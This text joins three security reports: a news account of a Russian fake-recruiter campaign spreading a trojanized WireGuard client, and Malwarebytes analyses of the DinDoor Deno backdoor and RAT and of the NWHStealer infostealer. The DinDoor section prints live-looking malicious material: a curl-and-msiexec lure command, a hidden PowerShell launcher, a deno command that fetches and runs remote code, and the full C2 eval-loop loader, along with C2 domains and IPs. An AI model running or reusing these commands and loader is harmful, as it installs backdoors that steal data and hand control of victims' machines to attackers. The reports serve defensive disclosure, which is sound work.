sourceforge[.]net

The Computer Emergency Response Team of Ukraine (CERT-UA) has disclosed details of a new social engineering campaign orchestrated by Russian nation-state threat actors targeting IT workers in the country by masquerading as recruiters to trick them into installing malware. CERT-UA pinned the activity on a threat cluster it tracks as UAC-0145, which is a subgroup within Sandworm (aka APT44, Seashell Blizzard, and UAC-0002), a sophisticated hacking group affiliated with the GRU. The campaign is assessed to be ongoing since May 2026. "Specifically, on job search websites, after reviewing a candidate's resume, the attackers contact a potential victim – typically a system administrator or IT specialist – on behalf of an IT company (such as ATLAS Business Group)," CERT-UA said. Although initial communications take place via built-in online chat, the conversation subsequently shifts to messaging apps like Telegram, where a preliminary chat takes place with a purported HR manager who claims to be in charge of the candidate screening process for Sopra Steria Bulgaria, a legitimate Europe-based consulting and software development company. As part of the chat, the agency said general work-related questions and the candidates' English language proficiency are discussed, after which they are invited to join a Zoom videoconference call. While the meeting does take place as expected with an English-speaking man who appears to be between 30 and 35 years old, it's unclear whether the person showing up in the interview was a genuine participant or a synthetic persona generated using artificial intelligence (AI). In tandem, additional instructions for a technical interview are sent via an email. This includes configuration files for connecting to the corporate VPN using WireGuard to supposedly complete an assessment, along with a link to a second Zoom meeting during which the test is monitored. Should the victim attempt to connect to the VPN using the provided configuration files, they run into error messages, causing the threat actors to recommend downloading a custom VPN solution named SopraVPN hosted on SourceForge by sharing a bogus link designed to mimic Sopra Steria Bulgaria's website ("soprasteria-bg[.]com") - sourceforge[.]net/projects/soprabulgariavpn sourceforge[.]net/projects/sopravpn The Hacker News also identified a third SourceForge project called "sourceforge[.]net/projects/soprasteriavpn," which claims to be an "open-source corporate VPN solution designed for businesses seeking secure remote access and site-to-site connectivity without expensive licensing fees," according to cached Google Search results. None of these projects are available for download. "The essence of this trick is that the attackers' VPN client was compiled from the WireGuard source code with a number of modifications," CERT-UA explained. "Specifically, support for the non-standard 'SymmetricKey' option has been added to the configuration processing mechanism; its value contains BASE64-encoded data for AES-256-GCM: a nonce, ciphertext, and an authentication tag." "A 32-byte value obtained by decoding 'PrivateKey' is used as the AES-256 key. The PowerShell code decrypted in this way is then passed to the standard 'runScriptCommand' mechanism, which WireGuard uses, in particular, to execute commands specified by the 'PostUp' option." Put differently, the poisoned version of WireGuard allows an attacker to run arbitrary commands on the victim host without their knowledge. The Windows VPN client also makes use of a PowerShell command to create a scheduled task that downloads a secondary payload from a remote URL, while the Linux variant uses cURL to download the executable file from the attackers' infrastructure via a VPN. The exact nature of the next-stage payload is unclear. CERT-UA is urging IT professionals to be on the lookout for social engineering techniques to stay protected against potential malware attacks. Organizations are recommended to allow access to corporate resources only from managed devices on which appropriate security software is installed and ensure relevant policies are configured and continuous monitoring is enforced. The disclosure comes less than a month after the agency attributed the threat actor to another campaign that employs the ClickFix social engineering tactic to infect Ukrainian machines with data-stealing malware. With the latest development, Russian threat actors have joined alongside Chinese, Iranian, and North Korean adversaries in using fake recruitment campaigns to gain unauthorized access to targeted systems.

During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing a Deno backdoor known as DinDoor. Attackers are using compromised YouTube channels to distribute links to these platforms. DinDoor ultimately drops different types of malware, including a stealthy remote access Trojan (RAT), which also uses the Deno JavaScript runtime. Attackers are increasingly abusing alternative JavaScript runtimes like Bun and Deno to bypass traditional detection methods. In one of our recent investigations we documented how attackers are using Bun as an initial infection vector to distribute NWHStealer. And in March, ThreatDown researchers also observed attackers using Deno to deliver CastleLoader through a multi-stage infection chain involving the ClickFix lure. These campaigns use Scoop (an alternative installer for Windows) and WinGet (the official Windows package manager) to install Deno on the victim’s machine. They then use the Deno runtime to execute a RAT capable of executing additional payloads, exfiltrating data from browsers, wallets, and other applications, which has an interesting peer-to-peer feature that uses Edge to hide malicious traffic. Legitimate platforms abused to spread malware The infection chain is usually started via MSI files or PowerShell scripts downloaded from GitHub or SourceForge in most of the analyzed cases. Users are usually redirected to these malicious repositories via compromised YouTube channels. These videos currently total more than 50,000 views. The compromised YouTube channels create posts promoting different software and constantly switch between GitHub accounts to distribute the malware. The fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge. We’ve observed fake MSIs and scripts masquerading as installers and plugins for legitimate software and brands such as ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt. The malicious repositories have a command for both Windows and macOS. These repositories ask users to open the terminal and copy a malicious command, which downloads and executes the MSI from GitHub. Malicious GitHub accounts create multiple repositories filled with fake software and plugins related to popular software to lure in more users. We found that the same backdoor was distributed through SourceForge, mimicking a legitimate game software called GearUP and an AI watermark remover software called BWR. How to stay safe The attackers relied heavily on trust. GitHub and SourceForge are legitimate platforms, which makes fake projects look more convincing. We contacted GitHub, which quickly removed the malicious repositories, but users should expect new ones to continue appearing. Here are a few simple ways to stay safe: Only download software from official vendor websites. Be skeptical of “free”, cracked, or unofficial versions of paid software. Be cautious with downloads from GitHub, SourceForge, forums, or file-sharing sites, especially from new or unknown accounts. Attackers continue to create new profiles to distribute this malware across platforms. Check the developer or publisher’s profile, its reputation, and how recently it was created before downloading anything. Check that archive contents, images, and text files align with what you expected to download. Archive names and structures often follow recognizable malicious patterns. Check the file’s publisher and digital signature before you run it. Windows, you can usually check this by right-clicking the file, selecting Properties > Digital Signatures. Keep in mind that a valid signature does not guarantee a file is safe, but missing or suspicious signatures are often a red flag. Technical analysis The malicious GitHub repositories ask the user to open cmd and execute a malicious command. The malicious commands download an MSI from GitHub and install it via msiexec. These repositories sometimes also contain PowerShell scripts to similarly initiate the infection chain. Example of a malicious command hosted on GitHub that starts the infection chain: curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi The MSI drops a CMD file and a PowerShell script in a random directory specified in the MSI InstallationFolder and registry values. We detected different structures for these MSIs, with JavaScript instead of the CMD file, or with additional embedded files. The CMD file executes the PowerShell script, with a name that changes in the analyzed infection chains: @set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" The PowerShell script takes care of: Ensuring the package manager Scoop is installed, and installing it if missing with the official script from get.scoop.sh . Scoop is a popular, open-source command-line software installer and package manager for Microsoft Windows. Using Scoop to install WinGet (Windows Package Manager) if missing. Installs Deno (a JavaScript/TypeScript runtime) via WinGet or Scoop if not present. The usage of the package managers Scoop and WinGet to install additional software on the compromised machine is an interesting approach that gives the attacker more flexibility. Command executed to install Deno using WinGet: "C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent The DinDoor Backdoor Next, the following stage is executed with the downloaded Deno executable: "C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js The returned code (the internal name is “launcher-1”) is a small eval-loop function that downloads the next stage (the internal name is “launcher-2”). The downloaded backdoor is publicly known as DinDoor. var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))} The backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2), and executes additional payloads and commands returned by the C2. The HTTP endpoints used for C2 communications vary between the analyzed cases. The backdoor obtains an ID from an HTTP endpoint (for example, /security-pool) and then uses that ID to obtain the next stage from /v2{ID}.js. The obtained stage is executed via stdin without being written to disk, using the command: deno run -A --no-check – To achieve persistence, the backdoor runs a PowerShell command to create a RUN key that executes the downloader “launcher-1” used previously: conhost.exe --headless " " -A "%APPDATA%\ .js This backdoor distributes several malware families in the analyzed cases. In this blog, we analyze one of the distributed payloads: a RAT that uses the Deno JavaScript runtime. Deno RAT The delivered RAT, like the other analyzed scripts, uses the Deno JavaScript environment and has full functionality to control the device, execute commands and payloads, and exfiltrate various types of data through its built-in stealer module. We did not find a specific name or attribution for this RAT. In the past, the RAT has been referred to as “Smokest” based on a specific value in the config. The similar commenting style and shared infrastructure suggest that the DinDoor developer and the RAT developer may be the same person or team. Picked up something you shouldn’t have? In addition to HTTP for C2 communication, the RAT also supports WebSocket communication, enabled when the JSON value isLiveEnabled returned from the C2 is set to true. The RAT supports different commands (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) and functionality: Collect system information about the compromised device Full bidirectional control through a custom VNC implementation over WebSocket Target more than 50 crypto wallet extensions and 10 crypto software folders such as Atomic Wallet, Exodus, Electrum, and ByteCoin Collect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, and Chromodo Exfiltrate Telegram, Discord, and Lightcord data Record and modify clipboard data List folders, files and exfiltrate content from files with specific extensions Capture screenshots using different methods Execute additional payloads Launch or terminate arbitrary processes Execute commands with PowerShell Establish SOCKS5 proxy tunnels over WebSocket One of the most interesting parts of the RAT is a peer-to-peer streaming mode that uses the Edge browser to hide traffic and make detection more difficult. To stream live video directly to the operator without routing it through the C2 server, the RAT spawns a hidden Microsoft Edge process and connects to it via Chrome DevTools Protocol (CDP). It then injects a small WebRTC HTML page into Edge, turning the legitimate browser into a peer-to-peer video relay. The Deno agent captures and H.264-encodes the victim’s screen, passes the frames to the Edge page over CDP, and Edge forwards them directly to the operator’s browser over an encrypted WebRTC DataChannel. SDP and ICE signaling, needed to establish the direct connection, is exchanged through the existing C2 WebSocket. The RAT uses the following endpoints for C2 communication, which can vary between samples: /health : checks the “ok” response from the C2 /token : receive config parameters, task delivery, results, and exfiltrated data /vnc/agent/ : WebSocket path used for VNC communication The config data is Base64-encoded and is sent in communications with the C2 as an authorization token. Decoded config data: { "buildId": "cd361ef3159f5ce9", "buildNote": "BWR", "buildType": "msi-v2", "proxyUrls": ["{C2}"], "userId": "…", "accessTokenHash": "…", "iat": 1779372546, "exp": 2094948546 } We found different versions of this RAT, including a “light” version called “agent-lite” that supports only a few commands and uses Cloudflare Workers for C2 communication. Acknowledgements DinDoor: https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis Smokest: https://x.com/vxunderground/status/2013006601133687004 Indicators of Compromise (IOCs) URLs https[:]//github.com/claude-free-plugin/ https[:]//github.com/ai-gen-profi https[:]//github.com/wharfdemolisherpit https[:]//sourceforge.net/projects/gearup/ https[:]//sourceforge.net/projects/bluewaveremover/ Domains claudescript[.]top : distribution website ms-telemetry-gateway-us[.]com : C2 dakatawebstick[.]com : C2 ashpaltlonpro[.]com : C2 cf-proxy[.]cloud-analytics-services[.]workers.dev : C2 agilemast3r[.]duckdns[.]org : C2 geralnewlong[.]com : C2 hngfbgfbfb[.]cyou : C2 logicalnewrestore[.]com : C2 IPs 23[.]227[.]196[.]107 : C2 45[.]137[.]99[.]121 : C2 31[.]57[.]129[.]23 : C2 66[.]78[.]40[.]107 : C2 193[.]233[.]198[.]132 : C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

We’ve uncovered multiple campaigns distributing an infostealer we track as NWHStealer, using everything from fake VPN downloads to hardware utilities and gaming mods. What makes this campaign stand out isn’t just the malware, but how widely and convincingly it’s being spread. Once installed, it can collect browser data, saved passwords, and cryptocurrency wallet information, which attackers may use to access accounts, steal funds, or carry out further attacks. We detected multiple campaigns using different platforms and lures to distribute NWHStealer. The stealer is loaded and executed in several ways, such as self-injection or injection into other processes like RegAsm (Microsoft’s Assembly Registration Tool). Often, additional wrappers such as MSI or Node.js are used as the initial loader. The stealer is distributed using lures (what the file claims to be) such as: VPN installers Hardware utilities (e.g. OhmGraphite ,Pachtop ,HardwareVisualizer ,Sidebar Diagnostics ) Mining software Games, cheats, and mods (e.g. Xeno ) It’s hosted or shared across multiple distribution channels, including: Fake websites impersonating legitimate services, like Proton VPN Code hosting platforms like GitHub and GitLab File hosting services such as MediaFire and SourceForge Links and redirects from gaming- and security-related YouTube videos Although there are many distribution methods, in this blog we look at two cases: Case 1: A free web hosting provider distributing a malicious ZIP file that loads the stealer using self-injection Case 2: Fake websites that load the stealer using DLL hijacking and injection into the RegAsm process Case 1: Free web hosting provider distributes the stealer The first case is the most unexpected. We found that a free web hosting provider, onworks[.]net, hosts ZIP files in its download section that ultimately distribute the stealer. The website, ranked in the top 100,000, allows users to run virtual machines entirely in the browser. Through this site, users download a malicious ZIP with names like: OhmGraphite-0.36.1.zip Sidebar Diagnostics-3.6.5.zip Pachtop_1.2.2.zip HardwareVisualizer_1.3.1.zip In this case, the malicious code responsible for loading the stealer is embedded in the executable, for example HardwareVisualizer.exe. The loader contains junk code to make analysis more difficult and performs several operations, including: Checking the environment for analysis tools and terminating if detected Implementing a custom decryption function for strings Resolving functions using LoadLibraryA andGetProcAddress Decrypting and loading the next stage using AES-CBC via BCrypt APIs This isn’t the only way the stealer is distributed. We found similar lures, with the same ZIP names, that instead distribute the stealer via DLL hijacking. In this case, HardwareVisualizer.exe is actually the WinRAR executable, and the malicious code resides in WindowsCodecs.dll. While tracking the DLL loader, we also saw it distributed in other campaigns with different lures. For example, in the second case analyzed, this malicious DLL is delivered through fake websites. Case 2: Fake Proton VPN website and DLL loader In the second case, we detected a website impersonating Proton VPN that delivers a malicious ZIP. This archive executes the stealer using DLL hijacking or an MSI file. To be clear, this has no affiliation with Proton VPN, and we’ve contacted them to let them know what we found. Links to the website appear in several compromised YouTube channels, along with AI-generated videos demonstrating the installation process: In other infection chains, this DLL appears under different names, such as: iviewers.dll TextShaping.dll CrashRpt1403.dll This DLL decrypts two embedded resources. The decryption method varies between samples: Some use custom AES implementations, while others rely on the OpenSSL library. One of the decrypted resources is a second-stage DLL, runpeNew.dll, which is loaded and executed via the GetGet method. The second-stage DLL starts a process (such as RegAsm) and performs process hollowing using low-level APIs, including: NtProtectVirtualMemory NtCreateUserProcess NtUnmapViewOfSection NtAllocateVirtualMemory NtResumeThread The final payload: NWHStealer At the end of these infection chains, the attacker deploys NWHStealer. The stealer runs directly in memory or injects itself into other processes such as RegAsm.exe. It enumerates more than 25 folders and registry keys associated with cryptocurrency wallets. The stealer also collects and exfiltrates data from multiple browsers, including Edge, Chrome, Opera, 360 Browser, K-Melon, Brave, Chromium, and Chromodo. Additionally, it injects a DLL into browser processes such as msedge.exe, firefox.exe, or chrome.exe. This DLL extracts and decrypts browser data before sending it to the command-and-control (C2) server. The injected DLL also executes a PowerShell command that: Creates hidden directories in LOCALAPPDATA Adds those directories to Windows Defender exclusions Forces a Group Policy update Encrypts a getPayload request and sends it to the C2 Receives and executes additional payloads disguised as system processes (e.g., svchost.exe ,RuntimeBroker.exe ) Creates scheduled tasks to run the payload at user logon with elevated privileges Data sent to the C2 is encrypted using AES-CBC. If the primary server is unavailable, the malware can retrieve a new C2 domain via a Telegram-based dead drop. The stealer also uses a known CMSTP User Account Control (UAC) bypass technique to execute PowerShell commands: Generates a random .inf file in the temp folder Uses cmstp.exe to elevate privileges Automatically confirms the prompt using Windows APIs How to stay safe Instead of relying on phishing emails or obvious scams, the attackers behind this campaign are hiding malware inside tools people actively search for and trust. By spreading through platforms like GitHub, SourceForge, and YouTube, they increase the chances that users will let their guard down. Once installed, the impact can be serious. Stolen browser data, saved passwords, and cryptocurrency wallet information can lead to account takeovers, financial loss, and further compromise. Here are our tips for avoiding being caught out: Download software only from official websites Be cautious with downloads from GitHub, SourceForge, or file-sharing platforms unless you trust the source Check file signatures and publisher details before running anything Avoid downloading tools from links in YouTube descriptions Pro tip: Install Malwarebytes Browser Guard on your browser to block malicious URLs. Indicators of Compromise (IOCs) Check the signature and version of software in suspicious archives. Hashes e97cb6cbcf2583fe4d8dcabd70d3f67f6cc977fc9a8cbb42f8a2284efe24a1e3 2494709b8a2646640b08b1d5d75b6bfb3167540ed4acdb55ded050f6df9c53b3 Domains vpn-proton-setup[.]com (fake website) get-proton-vpn[.]com (fake website) newworld-helloworld[.]icu (C2 domain) https://t[.]me/gerj_threuh (Telegram dead drop) URLS https://www.onworks[.]net/software/windows/app-hardware-visualizer https://sourceforge[.]net/projects/sidebar-diagnostics/files/Sidebar%20Diagnostics-3.6.5.zip https://github[.]com/PieceHydromancer/Lossless-Scaling-v3.22-Windows-Edition/releases/download/Fps/Lossless.Scaling.v3.22.zip This is only a partial list of malicious URLs. Download the Malwarebytes Browser Guard plugin for full protection and to block the remaining malicious URLs.